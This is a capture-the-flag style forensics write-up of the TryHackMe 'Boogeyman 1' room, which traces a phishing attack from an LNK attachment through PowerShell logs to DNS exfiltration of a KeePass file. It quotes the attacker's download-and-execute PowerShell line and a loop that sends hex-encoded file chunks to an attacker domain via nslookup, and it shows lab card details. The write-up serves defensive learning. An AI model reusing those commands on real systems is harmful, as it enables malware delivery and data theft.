Post

TryHackMe — Boogeyman 1

TryHackMe — Boogeyman 1

Julianne, a finance employee at Quick Logistics LLC, opens a phishing email disguised as an invoice follow-up. The attachment compromises her workstation. Three artefacts remain: the phishing email, PowerShell logs, and a packet capture. The task is to reconstruct the full attack chain — from the initial phishing email through data exfiltration via DNS.

This is the first room in the SOC L1 path that felt like a complete investigation. Three different data sources, three different toolchains, connected by a single attacker thread.

FieldDetails
PlatformTryHackMe
Room/MachineBoogeyman 1
DifficultyMedium
Tagsphishing, email-forensics, lnk, powershell, tshark, jq, dns-exfiltration

Theory

LNK Files

A .lnk file is a Windows Shell Link — what looks like a shortcut or document icon is actually a binary container that can carry command-line arguments, including encoded PowerShell payloads. Phishing campaigns use them because they render as familiar icons in a file manager, but double-clicking executes whatever command is embedded in the Arguments field. This was my first time encountering one as a forensic artefact.

jq

jq is a command-line JSON processor. When PowerShell logs are exported from their native .evtx format into JSON, jq becomes the tool of choice for querying them. The room introduced it explicitly with a reference table of common patterns. I hadn’t used it before, but the combination of jq for structured field access and grep for quick string matching turned out to be faster than I expected.

tshark

tshark is the command-line version of Wireshark. Where Wireshark is visual and interactive, tshark is scriptable — display filters work identically, fields can be extracted individually, and the output pipes cleanly into other tools. I had used Wireshark in previous rooms (like TryHackMe — Hack From the Back 1: Stolen Mount and TryHackMe — h4cked), but tshark was new here. The combination of both turned out to be strong: Wireshark for initial exploration, tshark for targeted extraction and counting.

DNS Exfiltration

DNS queries leave most firewalls untouched — outbound UDP/53 is typically allowed without inspection. Attackers exploit this by encoding data as subdomain labels on queries to an attacker-controlled domain. The authoritative DNS server logs the queries and reassembles the data. In this room, the exfiltration used hex-encoded chunks of the target file, split into 50-byte segments, each prepended as a subdomain label to bpakcaging.xyz.

xxd

xxd creates hex dumps — and xxd -r -p reverses the operation, converting a plain hex string back to binary. The room required recovering a KeePass database from the hex-encoded DNS queries in the PCAP. I found xxd -r -p through external research when the hex output in the terminal wasn’t decodable by any tool I already knew.


Phase 1 — Email Analysis

Opening the Artefact

The phishing email is provided as dump.eml in the artefacts directory. The room offers two approaches: manual analysis with cat, grep, and sed, or opening the file in Thunderbird. I used Thunderbird — it rendered the email as-received, showed the attachment, and made header inspection straightforward.

The password for the encrypted archive was visible in the email body directly — no extraction required.

Headers — Identifying the Relay

Inspecting the email headers revealed the relay infrastructure. The DKIM-Signature header pointed to elasticemail.com, with the List-Unsubscribe header confirming the third-party sender platform. The visible From: address was agriffin@bpakcaging.xyz — a typosquat of the legitimate partner domain bpackaging.xyz.

DKIM-Signature header showing d=elasticemail.com and List-Unsubscribe — third-party email relay used for phishing delivery

Extracting the Payload

The attachment is a password-protected ZIP. After extracting it with the password from the email body, the archive contains a single .lnk file: Invoice_20230103.lnk.

lnkparse was new to me — the room introduces it explicitly. Running it against the LNK file dumps the binary contents including the Command Line Arguments field, which holds a long Base64 string:

lnkparse output showing Command Line Arguments field with Base64-encoded PowerShell payload and metadata pointing to powershell.exe

The LNK metadata shows it’s set up to execute powershell.exe -nop -windowstyle hidden -enc <BASE64> — the -enc flag tells PowerShell the argument is Base64-encoded UTF-16LE. Decoding it:

1
base64 -d <<< "aQBlAHgAIAAoAG4AZQB3AC0Ab..."

base64 -d decoding the LNK payload to reveal iex (new-object net.webclient).downloadstring pointing to files.bpakcaging.xyz/update

The decoded string reveals the first stage:

1
iex (new-object net.webclient).downloadstring('http://files.bpakcaging.xyz/update')

A PowerShell Invoke-Expression that downloads and executes a remote payload from the attacker’s file-hosting domain.


Phase 2 — PowerShell Log Analysis

Parsing JSON with jq

The PowerShell logs are provided as powershell.json. The key field is .ScriptBlockText, which contains the commands that actually executed on the workstation:

1
cat powershell.json | jq '.ScriptBlockText'

jq output of ScriptBlockText field showing PowerSharpPack Invoke-Seatbelt downloaded from a GitHub raw URL

Most of the output is noise — repeated Set-StrictMode lines from error handling. The interesting entry: a second iex call, this time pulling Invoke-Seatbelt.ps1 from a GitHub repo (PowerSharpPack). Seatbelt is a well-known enumeration tool — the attacker used it for host reconnaissance after the initial foothold.

Finding the Attacker’s Tools

For specific tools the attacker used, grep piped into the jq output was faster than building deeper filters:

1
cat powershell.json | jq '.ScriptBlockText' | grep sq3.exe

Filtered ScriptBlockText showing sq3.exe downloaded from files.bpakcaging.xyz and SELECT from NOTE against plum.sqlite Sticky Notes database

This revealed two things: the attacker downloaded sq3.exe (a command-line SQLite client) from the same file-hosting domain, and used it to query plum.sqlite — the local database backing Windows Sticky Notes. Sticky Notes is a place users sometimes keep passwords and credentials, making it a meaningful enumeration target.

grep felt like a natural extension here. I use it as a reflex for filtering any text output now, and jq piped into grep was consistently faster than building complex jq filter expressions. For a proper incident report, capturing the timestamps alongside the script blocks would matter — the room didn’t require it, but in a real investigation that’s the step to add.

Identifying the Target File

Further searches revealed the attacker’s objective:

ls command in PowerShell log showing protected_data.kdbx discovered in j.westcott user Documents folder — KeePass database as exfiltration target

ls C:\Users\j.westcott\Documents\ shows the attacker enumerating another user’s home folder and finding protected_data.kdbx — a KeePass password database. That became the exfiltration target.

The Exfiltration Logic

The most interesting log entries showed how the exfiltration was built:

PowerShell script constructing hex from bytes using ForEach-Object ToString X2 join — prepared data for DNS exfiltration

1
$hex = ($bytes | ForEach-Object ToString X2) -join ''

Read the file as bytes, convert each byte to a two-character uppercase hex representation, join them into a single continuous hex string. Then:

PowerShell script splitting hex string into 50-char chunks and sending each as nslookup query to subdomain of bpakcaging.xyz

1
2
$split = $hex -split '(\S{50})'
ForEach ($line in $split) { nslookup -q=A "$line.bpakcaging.xyz" $destination }

Split the hex string into 50-character chunks. For each chunk, issue a DNS A-record query to <chunk>.bpakcaging.xyz against an attacker-controlled DNS server. The attacker’s authoritative DNS server logs all queries and reassembles the chunks — no HTTP upload, no file visible to a content-filtering proxy, just DNS queries that look routine at a glance.


Phase 3 — Network Traffic Analysis

tshark — First Contact

This was my first time using tshark in a room. Wireshark handled the initial exploration — setting the right display filter, understanding the traffic shape:

Wireshark showing DNS queries to hex-prefixed subdomains of bpakcaging.xyz.eu-west-1.compute.internal — the exfiltration traffic made visible by display filter

The filter (dns.qry.name contains ".bpakcaging.xyz.eu-west-1.compute.internal") && (dns.flags.response == 0) surfaces the exfiltration queries immediately. Each query carries a hex-encoded chunk as a subdomain label — the pattern from the PowerShell script is visible directly in the packet list.

An interesting detail: the queries resolve against AWS’s internal DNS suffix (eu-west-1.compute.internal). The compromised host is running in AWS, and the recursive resolver appended the VPC’s search domain before forwarding the lookup.

Counting the Exfiltration Queries

Once the filter was right in Wireshark, tshark took over for extraction. Same display filter syntax:

1
2
3
4
tshark -r capture.pcapng -Y "dns.flags.response == 0" \
  -T fields -e dns.qry.name \
  | grep ".bpakcaging.xyz.eu-west-1.ec2" \
  | wc -l

tshark command extracting DNS query names, piped through grep for exfil subdomain and wc -l returning 89 queries total — full exfiltration data split across 89 DNS requests

89 queries — the full file was split across 89 DNS requests of 50 hex characters each.

Reconstructing the File

The recovery pipeline pulls the hex chunks out of each query, strips the trailing domain parts, removes newlines to form one continuous hex string, and writes the result to a file:

Full tshark pipeline — extracting dns.qry.name, grepping for the exfiltration subdomain, cutting on dot to isolate the first label, removing newlines with tr, redirecting to exfil.txt

1
2
3
4
5
6
tshark -r capture.pcapng -Y "dns.flags.response == 0" \
  -T fields -e dns.qry.name \
  | grep ".bpakcaging.xyz.eu-west-1.ec2" \
  | cut -f 1 -d "." \
  | tr -d "\n" \
  > exfil.txt

Each step was a separate learning moment:

  • cut -f 1 -d "." — take the first field when splitting on ., keeping only the hex chunk from each query name
  • tr -d "\n" — this one I found via external search. The hex chunks came out on separate lines, and xxd -r -p needs a continuous hex string. tr -d "\n" strips the newlines. I hadn’t encountered tr before this room.

xxd — Hex Back to Binary

The final step reverses the hex encoding back into bytes:

1
xxd -p -r exfil.txt keepass.kdbx

Recovered keepass.kdbx opened in KeePass showing Homebanking category with Company Card entry — stolen credit card details including account number 4024007128269551 and CVV 970 for Quick Logistics LLC

xxd -p -r takes a plain (no-offset, no-ASCII-column) hex dump and writes the binary it represents. The recovered keepass.kdbx opens in KeePass and reveals the stolen data: the company’s banking credentials, including a credit card with full account number, CVV, and expiration date registered to Quick Logistics LLC.

The chain is complete — phishing email, LNK payload, PowerShell reconnaissance, credential theft, DNS exfiltration, reconstructed on the defender side.

awk and sed

The room suggests awk and sed at various points. I didn’t end up using either. jq handled the structured JSON, grep, cut, and tr covered the shell pipeline work, and xxd -r -p handled the binary reconstruction. awk and sed are still tools I’m not confident writing commands for from scratch — reading existing commands is fine, but building my own pipelines felt faster with tools I could reason about. That’s a gap to come back to.


Tools Used

ToolPurpose
ThunderbirdEmail rendering, header inspection, attachment extraction
lnkparseLNK file forensics — extracting Command Line Arguments
base64 -dDecoding the PowerShell payload from the LNK file
jqQuerying JSON-formatted PowerShell logs via .ScriptBlockText
grep / cut / sort / uniq / wcShell pipeline filtering, field extraction, counting
tr -d '\n'Joining hex chunks into a continuous string for xxd
WiresharkVisual PCAP exploration and display filter design
tsharkCLI field extraction from PCAP — scriptable and pipeable
xxd -p -rReversing a hex dump back to binary
KeePassOpening the recovered .kdbx database to view exfiltrated content

Flags

Flags are intentionally omitted. The focus is on the method.


Lessons Learned

tshark and Wireshark are stronger together. Wireshark is fast for orientation — clicking through protocols, following streams, designing display filters visually. tshark is better for extraction and reproducible pipelines. Designing the filter in Wireshark, then running the same filter through tshark for extraction, worked consistently well.

jq is fast to pick up if you know the field names. The learning curve looked steep from the documentation, but the room’s reference table covered the patterns I needed. cat file.json | jq '.ScriptBlockText' became the core command, and piping into grep made filtering intuitive. It’s now a tool I’d reach for immediately when working with any JSON log export.

tr -d '\n' is a useful pipe primitive. I hadn’t encountered tr before this room. Finding it while searching for how to join lines into a single string for xxd was one of those moments where a small tool fits exactly one problem. Knowing it exists changes how I think about shell pipelines.

Hex encoding in network traffic is reversible with xxd -p -r. The pattern — extract hex from tshark output, strip newlines with tr, reverse with xxd — is now something I’d recognise immediately in future captures. The approach carries across any protocol that encodes binary payloads in text fields.

DNS exfiltration looks like normal traffic if you don’t know what to look for. Without the specific filter on the suspicious domain, the 89 queries would have been invisible in a busy capture full of legitimate DNS traffic. The hex-encoded subdomain pattern is the fingerprint — once you’ve seen it, it’s hard to miss.

Not using awk and sed was a conscious choice, not a gap. The room suggests them at several points. I worked around both with tools I was more confident in. Getting to the right answer with tools I could explain was more useful than producing a working awk command I didn’t fully understand. That’s a gap to come back to, but not one that blocked the room.

Defensive Takeaways

LNK files in email attachments should be blocked at the gateway. The .lnk file is the entire delivery mechanism here. It looks like a document shortcut but executes whatever PowerShell command is embedded in its Arguments field. Email gateway policies that block .lnk files inside ZIP attachments — regardless of whether the ZIP is password-protected — stop this class of attack before it reaches the endpoint. The same logic extends to macro-enabled Office files and other dual-use formats.

DMARC alignment enforcement catches relay-based spoofing. The attacker sent the phishing email through Elastic Email, a legitimate third-party relay. SPF and DKIM pass from the relay’s perspective because the relay signs the message correctly. DMARC alignment is the layer that catches this pattern — it requires the visible From: domain to match the signing domain, which a random attacker-registered domain routed through Elastic Email cannot satisfy against the real bpackaging.xyz.

DNS egress monitoring catches the exfiltration. Most environments allow outbound UDP/53 without inspection, which is exactly why DNS tunnelling works. Controls that help: blocking DNS queries to newly-registered or low-reputation domains, alerting on unusual query volume from a single host, and detecting anomalously long or high-entropy subdomain labels. A query with a 50-character hex label is not human-readable and not something a normal application generates — pattern detection on query name entropy would have flagged the exfiltration within seconds.

PowerShell ScriptBlock logging is a high-value control. The entire investigation of the compromised host was possible because PowerShell ScriptBlock logging was enabled and the logs were exported. Without that, the attacker’s tool chain — Invoke-Seatbelt, sq3.exe, the DNS exfiltration loop — would have been invisible. Enabling Microsoft-Windows-PowerShell/Operational logging with EventID 4104 across the fleet makes post-compromise investigation actually possible.

Typosquatted domains should be monitored proactively. bpakcaging.xyz vs. the legitimate bpackaging.xyz is the kind of difference that’s easy to miss at a glance. Services that monitor newly-registered domains that are one or two edits away from brand-owned domains can flag attacker infrastructure before it’s used. Adding the typosquat to a DNS blocklist after detection is important — but proactive monitoring catches it earlier.


References

This post is licensed under CC BY 4.0 by the author.